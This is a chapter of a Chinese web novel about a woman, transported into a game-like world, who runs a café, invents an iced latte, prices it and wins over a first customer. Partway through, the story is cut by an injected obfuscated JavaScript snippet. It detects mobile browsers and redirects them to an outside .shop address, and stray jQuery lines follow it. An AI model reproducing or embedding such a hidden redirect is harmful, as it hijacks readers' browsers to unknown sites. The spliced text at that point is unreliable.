6月8日,营业第八天。
穿越一个星期了,过去的每一天在脑海中都清清楚楚,却又觉得时光飞逝,一下子就过去了。
【资产>>>】
【账户余额:6204信用点】
【房租:62000信用点/月】
【水电杂项:1250信用点(当前),预估5358信用点/月】
【贷款:共10,0000信用点,等额本金,月利率3%,五个月还清,可提前还款。本月最低需还款2,3000信用点。】
【店铺>>>】
【装饰度:15】
【声望值:210】
【等级:1级(籍籍无名)】
【经验值:923/1000】
【设备:家用摩卡壶x1、手动磨豆器x1、热水壶x1、收款机x1、气泡水机x1、初级商用制冰机x1】
【家具:金属工字双人桌椅组合x4,金黄五角星摆件x1】
【技能>>>】
【Lv.1[无需多言]:从收款机提取款项时,你的总收入提高15%】
【人脉>>>】
【个人>>】
【KK……好感度:15】
【申歌(SG13-6)……好感度:15】
【凌(NV-0)……好感度:12】
【老莫……好感度:10】
【组织>>】
【绿色联合……合作等级:初级】
逐个点开扫视一圈,虞昭理解爱看大阅兵的人了。
明明什么都没变化,但点开看一看心中就觉得很踏实,每一步都记录在案,清晰明了。
“虽然还欠着贷款,但也不那么可怕了。”
挨个查看后,虞昭发现了一件有趣的事。
凌对她的好感度竟然有12点。
他们只在二手市场有过一面之缘,对方的好感度却排在第三名。不过……她也挺喜欢凌的,他耐心又好心。
犹豫一会儿,她给凌发了条消息。
【虞昭:我的咖啡厅还在营业哦,下次路过的时候来喝一杯吧,味道绝对正宗】
【虞昭:[图片]】
发完之后,她迅速关上对话框。
图片里的拿铁就摆在吧台上,亮晶晶的玻璃杯,下部是洁白的牛奶,上部是棕黑色的咖啡液,两者慢慢靠近融合,形成了十分漂亮的分层。
【您制作了[拿铁]!首次制作,已将制作方法记载至[配方]中。】
【您的[拿铁]评分为82分。】
【咖啡豆品质:低劣。研磨粗细:合适。萃取手法:完美。完成水平:高。】
【评语:牛奶和咖啡的经典碰撞,永不过时的记忆。冰块增加了畅快的口感,适合炎热的日子。】
嘬一口——
虞昭闭上眼睛。
好喝!
感动得泪水流下来!
香醇的牛奶将苦涩尽数包裹,口感柔和,清甜丝滑。牛奶像一层轻柔的薄纱,将咖啡的酸苦尽数筛去,留下焦香与标志性的苦醇,十分好入口,即便不放糖也带着淡淡的甜感。
不愧是拿铁,咖啡厅亘古不变的销冠!
82的评分,看来系统也很满意呢。
她将冰块、牛奶和浓缩的比例记下来。
现在用的是350ml中杯,但虞昭并不打算按照比例来制作小杯和大杯的拿铁,只是变化牛奶和冰块的用量,浓缩液依旧保持原样。
保持小中大杯口感一致固然是很好的选择,但虞昭需要考虑出杯的效率。乘除变化后,大杯需要用1.37倍的咖啡浓缩液制作,剩下的0.63很难利用,倒不如统一浓缩的用量,方便快捷。
客人想喝奶味重一点的就选大杯,咖啡重一点的就选小杯,也能为他们提供口感选择。
拿出小杯、大杯,分别往其中加入一份浓缩,用冰块和牛奶填满。
嗯,完美!味道没有问题。
小杯浓郁,大杯清甜,中杯均衡,在效率和口味中找到了平衡之路。
轮流喝了三圈不同浓度的拿铁,虞昭心满意足地开始调试设备。
一周适应期后,她对电子菜单已经很熟悉了,迅速加上新品。
现在没有加热牛奶的方式,不像热美式那样兑热水就可以,所以拿铁只能做冰的。
得买加热蒸汽机才行。
漫长的购物清单里又增添一项。
【拿铁】
【默认冰/少冰/去冰】
【小杯/中杯/大杯】
【价格:800信用点(中杯)】
一升牛奶800信用点,一百毫升就是80信用点,中杯拿铁的牛奶成本为240信用点。美式的售价是400信用点,那么,拿铁的价格不得低于640信用点。
如果价格攀到四位数,顾客的消费心理便会产生变化,很容易嫌贵——人对数字的进位是很敏//感的,若非如此,超市里的价格标签也不会刻意躲避10,总是写成9.99。
中杯的价格设置为800信用点,大杯就是900信用点,不会超出四位数。
美式咖啡成本为0,售价400,净赚400,拿铁成本为240,售价800,净赚560,利润空间比美式还大,在空手套白狼的基础上又套了一头黑狼,说出去真是叫人眼红不已。
虽然只买了二十升牛奶,但申歌的父母谨慎小心,与她签了原料合同。牛奶只能当做餐饮原料,不能直接出售。所以,【鲜牛奶】这个单品是不会出现在菜单上的。如果被发现,不仅要付赔偿金,还可能会被告上法庭。
七点三十分,正式营业。
打开大门的一瞬间,虞昭的视线同一个男人对在一起。
男人留着寸头,气场并不友善,但看见虞昭身穿围裙,面色当即柔和不少:“开门了?真准时。”
他没再多说,坐到椅子上浏览菜单。
虞昭将大门推到最开,心中莫名甜滋滋的。
居然有蹲她开门的客人诶。
上辈子关心她上班准不准时的只有领导,每次遇见领导查出勤准时率,她总觉得不是滋味的。不知怎的,被客人蹲上班准点率的感受却很棒……巢里小鸟嗷嗷待哺!
寸头客人:“老板,这个叫拿铁的是什么东西?”
“是加了牛奶的咖啡,你看,这三个杯子里的都是拿铁。”虞昭将吧台上的小中大杯拿铁展示出来。
“和美式有什么不同?”
“美式是浓缩液加水,拿铁是浓缩液加奶!两种都是咖啡,只是兑的东西不一样。这是咖啡厅的新品,今天才开始卖的,如果你感兴趣的话可以点一杯,这样你就是第一个喝到拿铁的客人咯!”
第一个喝拿铁的客人。
小小的头衔,莫名叫人心动。
纠结一番,他回答道:“但我不喜欢牛奶,牛奶会黏在上颚,喝完总是油腻腻的。”像打翻的机油,得擦许多遍才能清理干净。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658093|207062||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>虞昭笑道:“咖啡厅用的牛奶也是鲜牛奶哦,和味觉饮品不一样!试一试吧,如果你不喜欢,我免费帮你换成美式咖啡,怎么样?”
听见可以免费换美式咖啡,寸头客人当机立断:“这可是你说的,我已经下单了。”
收款机发出清脆的提示音,信息随即传到虞昭的全息脑,视野的左侧随即出现了一排悬浮的订单信息。
虞昭关掉了电子女声播报,一方面是有客人反映播报侵//犯点单隐私,另一方面,早高峰忙起来的时候收款机话也说不过来,哔哔哔哔地十分鬼畜。
不过效果都是一样的,虚拟屏中的提示很清晰。
【一杯拿铁,堂食,中杯,冰,客人已支付800信用点】
虞昭将玻璃杯放在客人面前:“好了,请慢用!喝之前先搅拌均匀哦。”
做出来的颜值倒是挺高,比黑乎乎的美式好看许多。
如果拍照,会很漂亮吧?但他对拍照没有兴趣,好喝才是最重要的。
店主说用的鲜牛奶,但是……鲜牛奶不是从奶牛身上挤下来的吗?牛都没有,哪里来的鲜奶。
他摇摇头,把纷至沓来的疑惑甩开。
先尝尝再说。
寸头客人:“……什么味道!和牛奶完全八竿子打不着!”
虞昭睁大眼睛,差点在吧台里跳起来。
呜呜,客人你怎么凭空污人清白!
店里的牛奶都是她人肉从中域背回来的,没有一点造假的成分哇!百分百纯牛奶,水都没掺一滴的!
“太好喝了吧!醇厚但一点也不黏糊,好神奇!”
客人两眼放光芒,看向虞昭的眼神中甚至带上了几分钦佩。
好……好喝!?
“客人您喜欢就好……哈哈哈。”
虞昭在心里擦了一把冷汗。
误会解除,原来他是觉得好喝。
“你加的真是牛奶吗?为什么一点没有牛奶味?我以前买的牛奶味觉饮品尝起来可奇怪。”
虞昭:“是空运过来的鲜牛奶哦,如假包换!味觉饮品是模拟鲜牛奶的味道,但和牛奶真实的味道差别很大。而且,这里面还加了咖啡浓缩液,一来二去肯定和贩卖机里的产品味道大相径庭。”
她认真地解释了一番。
空运的鲜牛奶,怪不得没见到奶牛。
不过,就算是假的他也认账,谁叫拿铁这么好喝呢?
“等等,贩卖机里出售的‘咖啡’颜色和这个好像。”
“客人您观察得很仔细呢,味觉饮品中的‘咖啡’,模拟的正是您现在喝的‘拿铁’的味道。”
有点绕,寸头男想了一会儿才弄明白其中的关系。
“哈,果然味觉饮品就是比不上现场制作的饮品啊。”
尝拿铁真是个好决定,要不然他永远不知道牛奶是这样的味道。虽然咖啡厅不单独出售牛奶,但拿铁里面就是牛奶嘛。
还想和虞昭聊两句,却发现咖啡厅已经不再只有他一个客人。
早高峰时期,客人是最多的。
有几个人好奇地瞟他。
哦不,是他手中的咖啡。
虞昭正在吧台里推销:“早上好!今天有新品拿铁哦!拿铁是牛奶和咖啡液制成的,味道比美式更好入口,没有那么苦涩,使用的是空运的鲜奶……”
看着走进来的客人一个接一个地被虞昭说动,下单拿铁,寸头男抑制不住心中的优越感。
哼哼,他可是第一个喝到拿铁的客人!